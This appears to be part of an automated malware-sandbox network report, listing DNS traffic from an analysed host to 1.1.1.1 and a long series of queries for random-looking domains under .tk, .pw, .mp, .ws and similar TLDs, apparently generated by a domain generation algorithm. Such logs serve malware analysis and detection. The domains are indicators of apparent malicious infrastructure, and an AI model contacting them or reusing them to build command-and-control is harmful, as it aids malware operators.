Dec 4, 2023 12:36:22.990874052 CET	53	61148	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:23.088428974 CET	59435	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:23.460228920 CET	53	59435	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:23.471612930 CET	65078	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:23.752686977 CET	53	65078	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:23.869642973 CET	64337	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:23.967823029 CET	53	64337	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:23.972470999 CET	52869	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:24.295397997 CET	53	52869	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:24.401135921 CET	62906	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:24.723182917 CET	53	62906	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:24.755462885 CET	61515	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:25.578965902 CET	53	61515	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:25.682008982 CET	62099	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:25.876976013 CET	53	62099	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:25.897420883 CET	61023	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:26.091012955 CET	53	61023	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:26.197429895 CET	57694	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:26.295100927 CET	53	57694	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:26.297928095 CET	63271	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:26.545308113 CET	53	63271	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:26.651624918 CET	52295	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:26.839397907 CET	53	52295	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:26.873011112 CET	60043	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:27.069003105 CET	53	60043	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:27.166553020 CET	52939	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:27.416831017 CET	53	52939	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:27.612078905 CET	57297	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:27.709021091 CET	53	57297	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:27.856457949 CET	64886	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:27.953882933 CET	53	64886	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:28.057140112 CET	65470	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:28.604943991 CET	53	65470	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:28.635889053 CET	57637	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:29.172261953 CET	53	57637	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:29.324805021 CET	54317	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:29.423269033 CET	53	54317	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:29.427134037 CET	52405	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:29.678931952 CET	53	52405	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:29.776536942 CET	54779	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:29.968789101 CET	53	54779	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:29.971474886 CET	64106	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:30.164395094 CET	53	64106	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:30.666555882 CET	54356	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:30.923355103 CET	53	54356	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:30.928738117 CET	59947	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:31.177639961 CET	53	59947	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2023 12:32:27.744613886 CET	192.168.2.6	1.1.1.1	0x3824	Standard query (0)	owwecumt.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:28.546879053 CET	192.168.2.6	1.1.1.1	0x3c68	Standard query (0)	owwecumt.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:29.478487968 CET	192.168.2.6	1.1.1.1	0x7286	Standard query (0)	wxfqhxagktwgx.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:30.162085056 CET	192.168.2.6	1.1.1.1	0x4b7b	Standard query (0)	wxfqhxagktwgx.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:30.603462934 CET	192.168.2.6	1.1.1.1	0xf8e7	Standard query (0)	iaqjicjqutgbe.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.290983915 CET	192.168.2.6	1.1.1.1	0x4517	Standard query (0)	iaqjicjqutgbe.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.511374950 CET	192.168.2.6	1.1.1.1	0xedd3	Standard query (0)	buspeydkzeo.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.612469912 CET	192.168.2.6	1.1.1.1	0xaf83	Standard query (0)	buspeydkzeo.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.822304010 CET	192.168.2.6	1.1.1.1	0x2862	Standard query (0)	uoecsc.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.167542934 CET	192.168.2.6	1.1.1.1	0xa06a	Standard query (0)	uoecsc.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.619174004 CET	192.168.2.6	1.1.1.1	0x575f	Standard query (0)	sgaeoe.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:32.949155092 CET	192.168.2.6	1.1.1.1	0x2e8b	Standard query (0)	sgaeoe.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.384922981 CET	192.168.2.6	1.1.1.1	0xc349	Standard query (0)	qzyawogcyveiw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.486201048 CET	192.168.2.6	1.1.1.1	0xe91	Standard query (0)	qzyawogcyveiw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:33.838157892 CET	192.168.2.6	1.1.1.1	0x5587	Standard query (0)	usciivmkgqu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.173001051 CET	192.168.2.6	1.1.1.1	0x4e4c	Standard query (0)	usciivmkgqu.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.619034052 CET	192.168.2.6	1.1.1.1	0x8638	Standard query (0)	gmsezwrei.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:34.894030094 CET	192.168.2.6	1.1.1.1	0x9358	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:35.789864063 CET	192.168.2.6	1.1.1.1	0xd9a6	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:36.541143894 CET	192.168.2.6	1.1.1.1	0xdcfe	Standard query (0)	cgcwwgsmjiewqm.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:36.732937098 CET	192.168.2.6	1.1.1.1	0xdb8e	Standard query (0)	cgcwwgsmjiewqm.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.025409937 CET	192.168.2.6	1.1.1.1	0x489f	Standard query (0)	cebwyohyy.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.367953062 CET	192.168.2.6	1.1.1.1	0xd2f4	Standard query (0)	cebwyohyy.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.791344881 CET	192.168.2.6	1.1.1.1	0x16cb	Standard query (0)	ebxaoqdog.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:37.993854046 CET	192.168.2.6	1.1.1.1	0xc0d1	Standard query (0)	ebxaoqdog.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:38.290944099 CET	192.168.2.6	1.1.1.1	0xfe98	Standard query (0)	gwemlwwftqqka.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:38.895369053 CET	192.168.2.6	1.1.1.1	0x8f02	Standard query (0)	gwemlwwftqqka.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.231694937 CET	192.168.2.6	1.1.1.1	0xdc55	Standard query (0)	lkkuezi.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.340060949 CET	192.168.2.6	1.1.1.1	0x68f7	Standard query (0)	lkkuezi.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.541093111 CET	192.168.2.6	1.1.1.1	0x616c	Standard query (0)	zgumsqapwvk.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:41.735430956 CET	192.168.2.6	1.1.1.1	0x8bc6	Standard query (0)	zgumsqapwvk.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:42.040930033 CET	192.168.2.6	1.1.1.1	0x5bf6	Standard query (0)	ajrmbqgav.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.243963957 CET	192.168.2.6	1.1.1.1	0x1bf0	Standard query (0)	isfig.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.343377113 CET	192.168.2.6	1.1.1.1	0xbe9f	Standard query (0)	isfig.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.540939093 CET	192.168.2.6	1.1.1.1	0x9716	Standard query (0)	gkwiyutwunt.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:43.734895945 CET	192.168.2.6	1.1.1.1	0xd0e1	Standard query (0)	gkwiyutwunt.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.026158094 CET	192.168.2.6	1.1.1.1	0x429b	Standard query (0)	smlngbwqouy.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.217824936 CET	192.168.2.6	1.1.1.1	0x17aa	Standard query (0)	smlngbwqouy.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.525336981 CET	192.168.2.6	1.1.1.1	0x2adc	Standard query (0)	nouneqklaffud.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:44.862798929 CET	192.168.2.6	1.1.1.1	0x24a1	Standard query (0)	nouneqklaffud.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.306509018 CET	192.168.2.6	1.1.1.1	0xfb42	Standard query (0)	kqllhsegdsco.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.565130949 CET	192.168.2.6	1.1.1.1	0x9c22	Standard query (0)	kqllhsegdsco.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.775405884 CET	192.168.2.6	1.1.1.1	0xda99	Standard query (0)	qqfrwotax.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:45.875032902 CET	192.168.2.6	1.1.1.1	0xc0e6	Standard query (0)	qqfrwotax.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.072216988 CET	192.168.2.6	1.1.1.1	0x80c1	Standard query (0)	pwcuk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.409941912 CET	192.168.2.6	1.1.1.1	0x4bc2	Standard query (0)	pwcuk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.869116068 CET	192.168.2.6	1.1.1.1	0x74c6	Standard query (0)	xonickjefqu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:46.968521118 CET	192.168.2.6	1.1.1.1	0xbbd4	Standard query (0)	xonickjefqu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.168135881 CET	192.168.2.6	1.1.1.1	0xdd60	Standard query (0)	iwkccqvnmiiuu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.357683897 CET	192.168.2.6	1.1.1.1	0x3b53	Standard query (0)	iwkccqvnmiiuu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.572411060 CET	192.168.2.6	1.1.1.1	0xca47	Standard query (0)	gkslykqk.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:47.768246889 CET	192.168.2.6	1.1.1.1	0x2d3b	Standard query (0)	gkslykqk.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:48.072364092 CET	192.168.2.6	1.1.1.1	0xeb6a	Standard query (0)	batyksmcepg.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.229283094 CET	192.168.2.6	1.1.1.1	0xf5ec	Standard query (0)	wypoaqci.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.333595991 CET	192.168.2.6	1.1.1.1	0x5107	Standard query (0)	wypoaqci.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.540915012 CET	192.168.2.6	1.1.1.1	0x9ad9	Standard query (0)	ztkmyqiifuya.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:49.732391119 CET	192.168.2.6	1.1.1.1	0xba82	Standard query (0)	ztkmyqiifuya.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:50.025554895 CET	192.168.2.6	1.1.1.1	0xdf8e	Standard query (0)	cgwnoxhquvm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:50.857083082 CET	192.168.2.6	1.1.1.1	0x49fa	Standard query (0)	cgwnoxhquvm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.072509050 CET	192.168.2.6	1.1.1.1	0x3492	Standard query (0)	ouavqkeoy.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.427776098 CET	192.168.2.6	1.1.1.1	0xe300	Standard query (0)	ouavqkeoy.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.634568930 CET	192.168.2.6	1.1.1.1	0x85d8	Standard query (0)	xuwslaxpl.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:51.898577929 CET	192.168.2.6	1.1.1.1	0xd	Standard query (0)	xuwslaxpl.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.103353977 CET	192.168.2.6	1.1.1.1	0xfa2a	Standard query (0)	ghkekijca.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.358345032 CET	192.168.2.6	1.1.1.1	0x48d2	Standard query (0)	ghkekijca.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:52.712948084 CET	192.168.2.6	1.1.1.1	0xc152	Standard query (0)	ywgyfzrcdoaye.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:53.806920052 CET	192.168.2.6	1.1.1.1	0x2651	Standard query (0)	ukwww.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:54.916028976 CET	192.168.2.6	1.1.1.1	0xb5f7	Standard query (0)	facooqj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:55.175266027 CET	192.168.2.6	1.1.1.1	0x3f3c	Standard query (0)	facooqj.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:55.384598017 CET	192.168.2.6	1.1.1.1	0x39b4	Standard query (0)	kuwknmq.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:56.681535006 CET	192.168.2.6	1.1.1.1	0x3a9a	Standard query (0)	weeacoxswflw.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:59.509970903 CET	192.168.2.6	1.1.1.1	0x4954	Standard query (0)	hsasoeojcwc.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:59.610985994 CET	192.168.2.6	1.1.1.1	0xdfdc	Standard query (0)	hsasoeojcwc.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:59.822329044 CET	192.168.2.6	1.1.1.1	0x6c97	Standard query (0)	kwuaq.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:00.197069883 CET	192.168.2.6	1.1.1.1	0x3dcd	Standard query (0)	kwuaq.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:00.509716988 CET	192.168.2.6	1.1.1.1	0xe4e1	Standard query (0)	uadcmeomsyu.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:01.635070086 CET	192.168.2.6	1.1.1.1	0xe464	Standard query (0)	coaddzqwaasp.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:01.882543087 CET	192.168.2.6	1.1.1.1	0x5a41	Standard query (0)	coaddzqwaasp.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:02.182497978 CET	192.168.2.6	1.1.1.1	0x536e	Standard query (0)	xnvcnocfsecx.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.369177103 CET	192.168.2.6	1.1.1.1	0x75f9	Standard query (0)	jaexai.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.482650042 CET	192.168.2.6	1.1.1.1	0x4c8d	Standard query (0)	jaexai.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.697314024 CET	192.168.2.6	1.1.1.1	0xa114	Standard query (0)	umekwkisi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:03.798537016 CET	192.168.2.6	1.1.1.1	0x551a	Standard query (0)	umekwkisi.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.182637930 CET	192.168.2.6	1.1.1.1	0x8d4c	Standard query (0)	uqesyqd.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.375113964 CET	192.168.2.6	1.1.1.1	0x5b8	Standard query (0)	uqesyqd.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:04.681624889 CET	192.168.2.6	1.1.1.1	0x488c	Standard query (0)	qfcaeqgdmbwddo.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:05.003132105 CET	192.168.2.6	1.1.1.1	0xaa6c	Standard query (0)	qfcaeqgdmbwddo.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:05.212979078 CET	192.168.2.6	1.1.1.1	0xfc68	Standard query (0)	kyyxw.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:06.509767056 CET	192.168.2.6	1.1.1.1	0xc584	Standard query (0)	qzlmsjo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:06.700479031 CET	192.168.2.6	1.1.1.1	0x41b2	Standard query (0)	qzlmsjo.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:06.900741100 CET	192.168.2.6	1.1.1.1	0x3637	Standard query (0)	uvxqkcmiebh.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.006936073 CET	192.168.2.6	1.1.1.1	0x3687	Standard query (0)	uvxqkcmiebh.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.228763103 CET	192.168.2.6	1.1.1.1	0x9149	Standard query (0)	ucwkz.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.412745953 CET	192.168.2.6	1.1.1.1	0xe53d	Standard query (0)	ucwkz.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.619349003 CET	192.168.2.6	1.1.1.1	0x5b56	Standard query (0)	xcuygzgyr.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:07.813288927 CET	192.168.2.6	1.1.1.1	0x2540	Standard query (0)	xcuygzgyr.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:08.119260073 CET	192.168.2.6	1.1.1.1	0x86fd	Standard query (0)	juafu.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:09.431660891 CET	192.168.2.6	1.1.1.1	0xf6ac	Standard query (0)	dyxum.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:09.769608974 CET	192.168.2.6	1.1.1.1	0x8f77	Standard query (0)	dyxum.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:10.244725943 CET	192.168.2.6	1.1.1.1	0x6a0d	Standard query (0)	gwyjew.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:10.598352909 CET	192.168.2.6	1.1.1.1	0x7851	Standard query (0)	gwyjew.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.072309017 CET	192.168.2.6	1.1.1.1	0xd856	Standard query (0)	kiwkvwcge.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.176076889 CET	192.168.2.6	1.1.1.1	0xafc7	Standard query (0)	kiwkvwcge.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.384818077 CET	192.168.2.6	1.1.1.1	0x236c	Standard query (0)	fzgbs.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.576658010 CET	192.168.2.6	1.1.1.1	0x700	Standard query (0)	fzgbs.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.884701967 CET	192.168.2.6	1.1.1.1	0x371f	Standard query (0)	vlcgwazanccbn.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:11.983079910 CET	192.168.2.6	1.1.1.1	0xae10	Standard query (0)	vlcgwazanccbn.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:12.195905924 CET	192.168.2.6	1.1.1.1	0x6eca	Standard query (0)	byyriapcqmwau.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:13.478514910 CET	192.168.2.6	1.1.1.1	0x67b0	Standard query (0)	oqeyuwi.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:14.936728954 CET	192.168.2.6	1.1.1.1	0x265b	Standard query (0)	kxmookcfomeyi.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:16.878367901 CET	192.168.2.6	1.1.1.1	0x4a33	Standard query (0)	kxmookcfomeyi.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.181751966 CET	192.168.2.6	1.1.1.1	0xe5e4	Standard query (0)	qikaefe.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.281802893 CET	192.168.2.6	1.1.1.1	0x4555	Standard query (0)	qikaefe.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.494160891 CET	192.168.2.6	1.1.1.1	0x6cb1	Standard query (0)	riobcwfowacouc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.592853069 CET	192.168.2.6	1.1.1.1	0xd938	Standard query (0)	riobcwfowacouc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.885343075 CET	192.168.2.6	1.1.1.1	0x4aac	Standard query (0)	lawkkic.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:17.997011900 CET	192.168.2.6	1.1.1.1	0x2cd5	Standard query (0)	lawkkic.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.197336912 CET	192.168.2.6	1.1.1.1	0x351d	Standard query (0)	kaccimyquxifj.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.389375925 CET	192.168.2.6	1.1.1.1	0x9158	Standard query (0)	kaccimyquxifj.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:18.697199106 CET	192.168.2.6	1.1.1.1	0xf15a	Standard query (0)	ickafg.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:19.837759018 CET	192.168.2.6	1.1.1.1	0xcfc4	Standard query (0)	lkazkqnqlcs.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.172223091 CET	192.168.2.6	1.1.1.1	0x27b6	Standard query (0)	lkazkqnqlcs.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.619155884 CET	192.168.2.6	1.1.1.1	0x9983	Standard query (0)	qckucorunniiim.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:20.954193115 CET	192.168.2.6	1.1.1.1	0x7ee2	Standard query (0)	qckucorunniiim.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.416116953 CET	192.168.2.6	1.1.1.1	0xbad8	Standard query (0)	ahagz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.606102943 CET	192.168.2.6	1.1.1.1	0xc41f	Standard query (0)	ahagz.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:21.902673960 CET	192.168.2.6	1.1.1.1	0xff4f	Standard query (0)	epqvgnoqqc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:22.003810883 CET	192.168.2.6	1.1.1.1	0xca72	Standard query (0)	epqvgnoqqc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:22.213716984 CET	192.168.2.6	1.1.1.1	0xd24d	Standard query (0)	mmaccrr.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:23.306958914 CET	192.168.2.6	1.1.1.1	0xb635	Standard query (0)	mhydmmzuo.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:23.503263950 CET	192.168.2.6	1.1.1.1	0x2e38	Standard query (0)	mhydmmzuo.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:23.806886911 CET	192.168.2.6	1.1.1.1	0xbeae	Standard query (0)	goeowontyyzia.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:24.265755892 CET	192.168.2.6	1.1.1.1	0xa052	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:25.744164944 CET	192.168.2.6	1.1.1.1	0xaebb	Standard query (0)	uihemgn.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:25.845254898 CET	192.168.2.6	1.1.1.1	0x695a	Standard query (0)	uihemgn.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:26.775306940 CET	192.168.2.6	1.1.1.1	0xd5fd	Standard query (0)	glyaguaikeq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:26.874560118 CET	192.168.2.6	1.1.1.1	0x939	Standard query (0)	glyaguaikeq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.228696108 CET	192.168.2.6	1.1.1.1	0x208b	Standard query (0)	gozeewgdu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.426029921 CET	192.168.2.6	1.1.1.1	0x68c8	Standard query (0)	gozeewgdu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:27.744234085 CET	192.168.2.6	1.1.1.1	0x4a0e	Standard query (0)	kbwwktoqyiiwk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:28.090471983 CET	192.168.2.6	1.1.1.1	0x64b8	Standard query (0)	kbwwktoqyiiwk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:28.556541920 CET	192.168.2.6	1.1.1.1	0xd138	Standard query (0)	kgbnl.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:29.853694916 CET	192.168.2.6	1.1.1.1	0x80a2	Standard query (0)	qkdayolch.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.010464907 CET	192.168.2.6	1.1.1.1	0x7d70	Standard query (0)	kwiiegmdtzxgo.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.210311890 CET	192.168.2.6	1.1.1.1	0x4355	Standard query (0)	kwiiegmdtzxgo.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.603600025 CET	192.168.2.6	1.1.1.1	0x4a7f	Standard query (0)	gxsklwkxz.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:31.942001104 CET	192.168.2.6	1.1.1.1	0x3933	Standard query (0)	gxsklwkxz.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.400352001 CET	192.168.2.6	1.1.1.1	0x9b2	Standard query (0)	hmsyergsw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.652709007 CET	192.168.2.6	1.1.1.1	0x12a	Standard query (0)	hmsyergsw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.853657961 CET	192.168.2.6	1.1.1.1	0xd74	Standard query (0)	ovssbbpasyk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:32.953408003 CET	192.168.2.6	1.1.1.1	0x80c2	Standard query (0)	ovssbbpasyk.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:33.385449886 CET	192.168.2.6	1.1.1.1	0xe427	Standard query (0)	qnokcoiegm.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:33.675717115 CET	192.168.2.6	1.1.1.1	0x33dc	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:34.619999886 CET	192.168.2.6	1.1.1.1	0x456b	Standard query (0)	gifwhb.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:34.921391010 CET	192.168.2.6	1.1.1.1	0xb849	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:33:36.041954994 CET	192.168.2.6	1.1.1.1	0xca11	Standard query (0)	wamitiwocibqm.tk	A (IP address)	IN (0x0001)	false
